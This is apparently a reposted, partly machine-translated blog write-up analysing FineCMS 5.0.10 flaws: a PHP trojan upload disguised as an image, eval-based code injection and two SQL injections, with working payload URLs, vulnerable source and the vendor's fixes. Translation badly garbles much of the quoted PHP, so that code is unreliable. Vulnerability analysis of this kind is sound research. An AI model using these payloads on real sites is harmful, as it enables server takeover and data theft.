Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

Today is an article on skills upgrading articles, articles of CMS is FineCMS, version 5.0.10 of several vulnerability analysis, the main content is to introduce bug fixes analysis before and after repair, to help you quickly master the skills.

Note: lengthy, about 7 minutes to read with.

Arbitrary File Upload Vulnerability

1, vulnerabilities reproduction

With a hex editor to write a sentence Trojan images, you go to the website to register an account, and then upload the picture to place.

Capture, modify the file suffix .php and contracting.

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

 

You can see the file has been uploaded to the / uploadfile / member / user ID / 0x0.php

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

2, vulnerability analysis

file:

finecms/dayrui/controllers/member/Account.php 177~244行

/ ** 
* Upload picture processing
* Incoming picture archive, extract to delete non-image files in the specified folder
* /
public function the Upload () {
// Create a picture storage folder
$ dir = SYS_UPLOAD_PATH. '/ Member /'. this- $> UID '/';.
@dr_dir_delete ($ the dir);
! is_dir ($ the dir) && dr_mkdirs ($ the dir);
IF ($ _POST [ 'TX']) {
$ File = str_replace ( '', ' + ', $ _POST [' TX ']);
IF (the preg_match (' / ^ (Data: S * Image / (W +); Base64,) / ', $ File, $ Result)) {
$ new_file = $ the dir. '0x0.' $ Result [2];.
(! @file_put_contents ($ new_file, base64_decode (str_replace ($ Result [. 1], '', $ File)))) {IF
Exit (dr_json (0, 'insufficient directory permissions or full disk '));
} the else {
$ this-> load-> Library (' image_lib ');
$ config [' create_thumb '] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));// upload pictures to a server}Exit (dr_json (0, 'file does not exist'));} The else {
}




if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
exit('1');
}

There is also a problem in version 5.0.8, the official use of the idea of ​​a white list of repair, as follows:

(! the in_array (strtolower ($ Result [2]), Array ( 'JPG', 'JPEG', 'PNG', 'GIF'))) IF { 
Exit (dr_json (0, 'insufficient directory permissions'));
}
...
$ C = 0;
IF (FP = @opendir $ ($ the dir)) {
the while (! == FALSE (= the readdir File $ ($ FP))) {
$ EXT = substr (The strrchr ($ File, ' . '),. 1);
IF (the in_array (strtolower ($ EXT), Array (' JPG ',' JPEG ',' PNG ',' GIF '))) {
. IF (Copy ($ the dir $ File, $ My . $ File)) {
$ c ++;
}
}
}
closedir ($ fp);
}
IF ($ c) {!
Exit (dr_json (0, fc_lang ( 'non-catalog pictures found')));
}

Arbitrary code execution vulnerability

1, vulnerabilities reproduction

auth following analysis will explain how to get.

Browser and enter:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

2, vulnerability analysis

This vulnerability in the file:

/finecms/dayrui/controllers/Api.php of data2 ()

public function data2() {
$data = array();
// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 页面输出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定义返回名称
echo $this->callback_json($data);
}
exit;
}

可以看到开头这里验证了认证码:

// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {

授权码在/config/system.php

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

可以看到SYS_KEY是固定的,我们可以在Cookies找到:

/finecms/dayrui/config/config.php

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

 

直接看到这一段,调用了Template对象里面的list_tag函数:

if (!$data) {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}

我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分为两个数组$var、$val,这两个数组的内容分别为:

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息。

重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache,所以就不再进行下面的分析了。

$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备,为了分离出的内容为:

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
// action
switch ($system['action']) {
case 'cache': // 系统缓存数据
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name参数不存在');
}
$pos = strpos($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr($param['name'], 0, $pos);
$_param = substr($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
}
if ($_param) {
$data = array();
@evai('$data=$cache'.$this->_get_var($_param).';');
if (!$data) {
return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
}
} else {
$data = $cache;
}
return $this->_return($system['return'], $data, '');
break;

跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']

那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。

payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:

$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2( )删除了。

 public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$var = dr_safe_replace($var);
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}

dr_safe_replace( )

function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}

任意SQL语句执行1

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities
2、漏洞分析

这里就不用debug模式去跟进了,如果有小伙伴对CI框架的数据库操作不熟悉的可以查阅官方文档:

http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在:

finecms/dayrui/controllers/Api.php中的data2( ),

可以直接去看:

finecms/dayrui/libraries/Template.php里面的list_tag( )函数。

这里想说一下就是preg_match这个函数的作用,匹配过后sql是一个数组:

array(2) {
[0]=>
string(23) "sql='select version();'"
[1]=>
string(17) "select version();"
}

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

 

这里判断了开头的位置是否只使用了select:

 if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600。

 $data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query( )函数

public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site[$site];
// 数据库对象
$db = $site ? $this->ci->site[$site] : $this->ci->db;
$cname = md5($sql.dr_now_url());
// 缓存存在时读取缓存文件
if ($cache && $data = $this->ci->get_cache_data($cname)) {
return $data;
}
// 执行SQL
$db->db_debug = FALSE;
$query = $db->query($sql);
if (!$query) {
return 'SQL查询解析不正确:'.$sql;
}
// 查询结果
$data = $all ? $query->result_array() : $query->row_array();
// 开启缓存时,重新存储缓存数据
$cache && $this->ci->set_cache_data($cname, $data, $cache);
$db->db_debug = TRUE;
return $data;
}

没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2( )函数。

 

任意SQL语句执行2

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

2、漏洞分析

文件在:

finecms/dayrui/controllers/member/Api.php的checktitle( )函数:

 public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
echo $num;
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到:

http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

还有一个就是SITE_ID变量,它是指:

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

 

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理。

 

Skill Shu FineCMS more detailed analysis 5.0.10 vulnerabilities

 

 

其他

还有一个远程命令执行漏洞没能复现,是在api的html( )函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}

These are the entire contents of today, you read it?

Guess you like

Origin www.cnblogs.com/ichunqiu/p/10944669.html